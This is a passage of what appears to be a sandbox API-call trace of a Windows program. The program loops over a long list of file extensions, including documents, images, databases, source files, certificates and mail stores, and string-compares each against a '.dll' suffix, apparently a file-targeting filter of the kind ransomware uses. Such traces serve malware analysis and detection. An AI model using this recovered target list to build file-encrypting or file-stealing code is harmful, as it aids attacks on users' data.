	[0189.153] lstrlenW (lpString=".ai6") returned 4
	[0189.153] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".ai7") returned 4
	[0189.153] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".ai8") returned 4
	[0189.153] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".anim") returned 5
	[0189.153] lstrcmpiW (lpString1=".anim", lpString2="5.dll") returned -1
	[0189.153] lstrlenW (lpString=".arw") returned 4
	[0189.153] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".as") returned 3
	[0189.153] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0189.153] lstrlenW (lpString=".asa") returned 4
	[0189.153] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".asc") returned 4
	[0189.153] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".ascx") returned 5
	[0189.153] lstrcmpiW (lpString1=".ascx", lpString2="5.dll") returned -1
	[0189.153] lstrlenW (lpString=".asm") returned 4
	[0189.153] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".asmx") returned 5
	[0189.153] lstrcmpiW (lpString1=".asmx", lpString2="5.dll") returned -1
	[0189.153] lstrlenW (lpString=".asp") returned 4
	[0189.153] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".aspx") returned 5
	[0189.153] lstrcmpiW (lpString1=".aspx", lpString2="5.dll") returned -1
	[0189.153] lstrlenW (lpString=".asr") returned 4
	[0189.153] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".asx") returned 4
	[0189.153] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".avi") returned 4
	[0189.153] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".avs") returned 4
	[0189.154] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".backup") returned 7
	[0189.154] lstrcmpiW (lpString1=".backup", lpString2="r15.dll") returned -1
	[0189.154] lstrlenW (lpString=".bak") returned 4
	[0189.154] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".bay") returned 4
	[0189.154] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".bd") returned 3
	[0189.154] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0189.154] lstrlenW (lpString=".bin") returned 4
	[0189.154] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".bmp") returned 4
	[0189.154] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".bz2") returned 4
	[0189.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".c") returned 2
	[0189.154] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0189.154] lstrlenW (lpString=".cdr") returned 4
	[0189.154] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".cer") returned 4
	[0189.154] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".cf") returned 3
	[0189.154] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0189.154] lstrlenW (lpString=".cfc") returned 4
	[0189.154] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".cfm") returned 4
	[0189.154] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".cfml") returned 5
	[0189.154] lstrcmpiW (lpString1=".cfml", lpString2="5.dll") returned -1
	[0189.154] lstrlenW (lpString=".cfu") returned 4
	[0189.154] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".chm") returned 4
	[0189.154] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".cin") returned 4
	[0189.154] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0189.154] lstrlenW (lpString=".class") returned 6
	[0189.154] lstrcmpiW (lpString1=".class", lpString2="15.dll") returned -1
	[0189.155] lstrlenW (lpString=".clx") returned 4
	[0189.155] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".config") returned 7
	[0189.155] lstrcmpiW (lpString1=".config", lpString2="r15.dll") returned -1
	[0189.155] lstrlenW (lpString=".cpp") returned 4
	[0189.155] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".cr2") returned 4
	[0189.155] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".crt") returned 4
	[0189.155] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".crw") returned 4
	[0189.155] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".cs") returned 3
	[0189.155] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0189.155] lstrlenW (lpString=".css") returned 4
	[0189.155] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".csv") returned 4
	[0189.155] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".cub") returned 4
	[0189.155] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".dae") returned 4
	[0189.155] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".dat") returned 4
	[0189.155] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".db") returned 3
	[0189.155] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0189.155] lstrlenW (lpString=".dbf") returned 4
	[0189.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".dbx") returned 4
	[0189.155] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".dc3") returned 4
	[0189.155] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".dcm") returned 4
	[0189.155] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".dcr") returned 4
	[0189.155] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0189.155] lstrlenW (lpString=".der") returned 4
	[0189.155] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0189.156] lstrlenW (lpString=".dib") returned 4
	[0189.156] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0189.156] lstrlenW (lpString=".dic") returned 4
	[0189.156] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0189.156] lstrlenW (lpString=".dif") returned 4
	[0189.156] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0189.156] lstrlenW (lpString=".divx") returned 5
	[0189.156] lstrcmpiW (lpString1=".divx", lpString2="5.dll") returned -1
	[0189.156] lstrlenW (lpString=".djvu") returned 5
	[0189.156] lstrcmpiW (lpString1=".djvu", lpString2="5.dll") returned -1
	[0189.156] lstrlenW (lpString=".dng") returned 4
	[0189.156] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0189.156] lstrlenW (lpString=".doc") returned 4
	[0189.156] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.156] lstrlenW (lpString=".docm") returned 5
	[0189.156] lstrcmpiW (lpString1=".docm", lpString2="5.dll") returned -1
	[0189.156] lstrlenW (lpString=".docx") returned 5
	[0189.156] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0189.156] lstrlenW (lpString=".dot") returned 4
	[0189.156] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0189.156] lstrlenW (lpString=".dotm") returned 5
	[0189.156] lstrcmpiW (lpString1=".dotm", lpString2="5.dll") returned -1
	[0189.156] lstrlenW (lpString=".dotx") returned 5
	[0189.156] lstrcmpiW (lpString1=".dotx", lpString2="5.dll") returned -1
	[0189.156] lstrlenW (lpString=".dpx") returned 4
	[0189.156] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0189.156] lstrlenW (lpString=".dqy") returned 4
	[0189.156] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0189.156] lstrlenW (lpString=".dsn") returned 4
	[0189.156] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0189.156] lstrlenW (lpString=".dt") returned 3
	[0189.156] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0189.156] lstrlenW (lpString=".dtd") returned 4
	[0189.156] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0189.156] lstrlenW (lpString=".dwg") returned 4
	[0189.156] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".dwt") returned 4
	[0189.157] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".dx") returned 3
	[0189.157] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0189.157] lstrlenW (lpString=".dxf") returned 4
	[0189.157] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".edml") returned 5
	[0189.157] lstrcmpiW (lpString1=".edml", lpString2="5.dll") returned -1
	[0189.157] lstrlenW (lpString=".efd") returned 4
	[0189.157] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".elf") returned 4
	[0189.157] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".emf") returned 4
	[0189.157] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".emz") returned 4
	[0189.157] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".epf") returned 4
	[0189.157] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".eps") returned 4
	[0189.157] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".epsf") returned 5
	[0189.157] lstrcmpiW (lpString1=".epsf", lpString2="5.dll") returned -1
	[0189.157] lstrlenW (lpString=".epsp") returned 5
	[0189.157] lstrcmpiW (lpString1=".epsp", lpString2="5.dll") returned -1
	[0189.157] lstrlenW (lpString=".erf") returned 4
	[0189.157] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".exr") returned 4
	[0189.157] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".f4v") returned 4
	[0189.157] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".fido") returned 5
	[0189.157] lstrcmpiW (lpString1=".fido", lpString2="5.dll") returned -1
	[0189.157] lstrlenW (lpString=".flm") returned 4
	[0189.157] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".flv") returned 4
	[0189.157] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0189.157] lstrlenW (lpString=".frm") returned 4
	[0189.157] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".fxg") returned 4
	[0189.158] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".geo") returned 4
	[0189.158] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".gif") returned 4
	[0189.158] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".grs") returned 4
	[0189.158] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".gz") returned 3
	[0189.158] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0189.158] lstrlenW (lpString=".h") returned 2
	[0189.158] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0189.158] lstrlenW (lpString=".hdr") returned 4
	[0189.158] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".hpp") returned 4
	[0189.158] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".hta") returned 4
	[0189.158] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".htc") returned 4
	[0189.158] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".htm") returned 4
	[0189.158] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".html") returned 5
	[0189.158] lstrcmpiW (lpString1=".html", lpString2="5.dll") returned -1
	[0189.158] lstrlenW (lpString=".icb") returned 4
	[0189.158] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".ics") returned 4
	[0189.158] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".iff") returned 4
	[0189.158] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".inc") returned 4
	[0189.158] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".indd") returned 5
	[0189.158] lstrcmpiW (lpString1=".indd", lpString2="5.dll") returned -1
	[0189.158] lstrlenW (lpString=".ini") returned 4
	[0189.158] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0189.158] lstrlenW (lpString=".iqy") returned 4
	[0189.158] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".j2c") returned 4
	[0189.159] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".j2k") returned 4
	[0189.159] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".java") returned 5
	[0189.159] lstrcmpiW (lpString1=".java", lpString2="5.dll") returned -1
	[0189.159] lstrlenW (lpString=".jp2") returned 4
	[0189.159] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".jpc") returned 4
	[0189.159] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".jpe") returned 4
	[0189.159] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".jpeg") returned 5
	[0189.159] lstrcmpiW (lpString1=".jpeg", lpString2="5.dll") returned -1
	[0189.159] lstrlenW (lpString=".jpf") returned 4
	[0189.159] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".jpg") returned 4
	[0189.159] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".jpx") returned 4
	[0189.159] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".js") returned 3
	[0189.159] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0189.159] lstrlenW (lpString=".jsf") returned 4
	[0189.159] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".json") returned 5
	[0189.159] lstrcmpiW (lpString1=".json", lpString2="5.dll") returned -1
	[0189.159] lstrlenW (lpString=".jsp") returned 4
	[0189.159] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".kdc") returned 4
	[0189.159] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".kmz") returned 4
	[0189.159] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".kwm") returned 4
	[0189.159] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0189.159] lstrlenW (lpString=".lasso") returned 6
	[0189.159] lstrcmpiW (lpString1=".lasso", lpString2="15.dll") returned -1
	[0189.159] lstrlenW (lpString=".lbi") returned 4
	[0189.160] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".lgf") returned 4
	[0189.160] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".lgp") returned 4
	[0189.160] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".log") returned 4
	[0189.160] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".m1v") returned 4
	[0189.160] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".m4a") returned 4
	[0189.160] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".m4v") returned 4
	[0189.160] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".max") returned 4
	[0189.160] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".md") returned 3
	[0189.160] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0189.160] lstrlenW (lpString=".mda") returned 4
	[0189.160] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mdb") returned 4
	[0189.160] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mde") returned 4
	[0189.160] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mdf") returned 4
	[0189.160] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mdw") returned 4
	[0189.160] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mef") returned 4
	[0189.160] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mft") returned 4
	[0189.160] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mfw") returned 4
	[0189.160] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mht") returned 4
	[0189.160] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0189.160] lstrlenW (lpString=".mhtml") returned 6
	[0189.160] lstrcmpiW (lpString1=".mhtml", lpString2="15.dll") returned -1
	[0189.160] lstrlenW (lpString=".mka") returned 4
	[0189.161] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mkidx") returned 6
	[0189.161] lstrcmpiW (lpString1=".mkidx", lpString2="15.dll") returned -1
	[0189.161] lstrlenW (lpString=".mkv") returned 4
	[0189.161] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mos") returned 4
	[0189.161] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mov") returned 4
	[0189.161] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mp3") returned 4
	[0189.161] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mp4") returned 4
	[0189.161] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mpeg") returned 5
	[0189.161] lstrcmpiW (lpString1=".mpeg", lpString2="5.dll") returned -1
	[0189.161] lstrlenW (lpString=".mpg") returned 4
	[0189.161] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mpv") returned 4
	[0189.161] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mrw") returned 4
	[0189.161] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".msg") returned 4
	[0189.161] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".mxl") returned 4
	[0189.161] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".myd") returned 4
	[0189.161] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".myi") returned 4
	[0189.161] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".nef") returned 4
	[0189.161] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".nrw") returned 4
	[0189.161] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".obj") returned 4
	[0189.161] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".odb") returned 4
	[0189.161] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0189.161] lstrlenW (lpString=".odc") returned 4
	[0189.162] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".odm") returned 4
	[0189.162] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".odp") returned 4
	[0189.162] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".ods") returned 4
	[0189.162] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".oft") returned 4
	[0189.162] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".one") returned 4
	[0189.162] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".onepkg") returned 7
	[0189.162] lstrcmpiW (lpString1=".onepkg", lpString2="r15.dll") returned -1
	[0189.162] lstrlenW (lpString=".onetoc2") returned 8
	[0189.162] lstrcmpiW (lpString1=".onetoc2", lpString2="er15.dll") returned -1
	[0189.162] lstrlenW (lpString=".opt") returned 4
	[0189.162] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".oqy") returned 4
	[0189.162] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".orf") returned 4
	[0189.162] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".p12") returned 4
	[0189.162] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".p7b") returned 4
	[0189.162] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".p7c") returned 4
	[0189.162] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".pam") returned 4
	[0189.162] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".pbm") returned 4
	[0189.162] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".pct") returned 4
	[0189.162] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".pcx") returned 4
	[0189.162] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0189.162] lstrlenW (lpString=".pdd") returned 4
	[0189.162] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pdf") returned 4
	[0189.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pdp") returned 4
	[0189.163] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pef") returned 4
	[0189.163] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pem") returned 4
	[0189.163] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pff") returned 4
	[0189.163] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pfm") returned 4
	[0189.163] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pfx") returned 4
	[0189.163] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pgm") returned 4
	[0189.163] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".php") returned 4
	[0189.163] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".php3") returned 5
	[0189.163] lstrcmpiW (lpString1=".php3", lpString2="5.dll") returned -1
	[0189.163] lstrlenW (lpString=".php4") returned 5
	[0189.163] lstrcmpiW (lpString1=".php4", lpString2="5.dll") returned -1
	[0189.163] lstrlenW (lpString=".php5") returned 5
	[0189.163] lstrcmpiW (lpString1=".php5", lpString2="5.dll") returned -1
	[0189.163] lstrlenW (lpString=".phtml") returned 6
	[0189.163] lstrcmpiW (lpString1=".phtml", lpString2="15.dll") returned -1
	[0189.163] lstrlenW (lpString=".pict") returned 5
	[0189.163] lstrcmpiW (lpString1=".pict", lpString2="5.dll") returned -1
	[0189.163] lstrlenW (lpString=".pl") returned 3
	[0189.163] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0189.163] lstrlenW (lpString=".pls") returned 4
	[0189.163] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pm") returned 3
	[0189.163] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0189.163] lstrlenW (lpString=".png") returned 4
	[0189.163] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0189.163] lstrlenW (lpString=".pnm") returned 4
	[0189.164] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".pot") returned 4
	[0189.164] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".potm") returned 5
	[0189.164] lstrcmpiW (lpString1=".potm", lpString2="5.dll") returned -1
	[0189.164] lstrlenW (lpString=".potx") returned 5
	[0189.164] lstrcmpiW (lpString1=".potx", lpString2="5.dll") returned -1
	[0189.164] lstrlenW (lpString=".ppa") returned 4
	[0189.164] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".ppam") returned 5
	[0189.164] lstrcmpiW (lpString1=".ppam", lpString2="5.dll") returned -1
	[0189.164] lstrlenW (lpString=".ppm") returned 4
	[0189.164] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".pps") returned 4
	[0189.164] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".ppsm") returned 5
	[0189.164] lstrcmpiW (lpString1=".ppsm", lpString2="5.dll") returned -1
	[0189.164] lstrlenW (lpString=".ppt") returned 4
	[0189.164] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".pptm") returned 5
	[0189.164] lstrcmpiW (lpString1=".pptm", lpString2="5.dll") returned -1
	[0189.164] lstrlenW (lpString=".pptx") returned 5
	[0189.164] lstrcmpiW (lpString1=".pptx", lpString2="5.dll") returned -1
	[0189.164] lstrlenW (lpString=".prn") returned 4
	[0189.164] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".ps") returned 3
	[0189.164] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0189.164] lstrlenW (lpString=".psb") returned 4
	[0189.164] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".psd") returned 4
	[0189.164] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".pst") returned 4
	[0189.164] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".ptx") returned 4
	[0189.164] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".pub") returned 4
	[0189.164] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0189.164] lstrlenW (lpString=".pwm") returned 4
	[0189.165] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0189.165] lstrlenW (lpString=".pxr") returned 4
	[0189.165] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
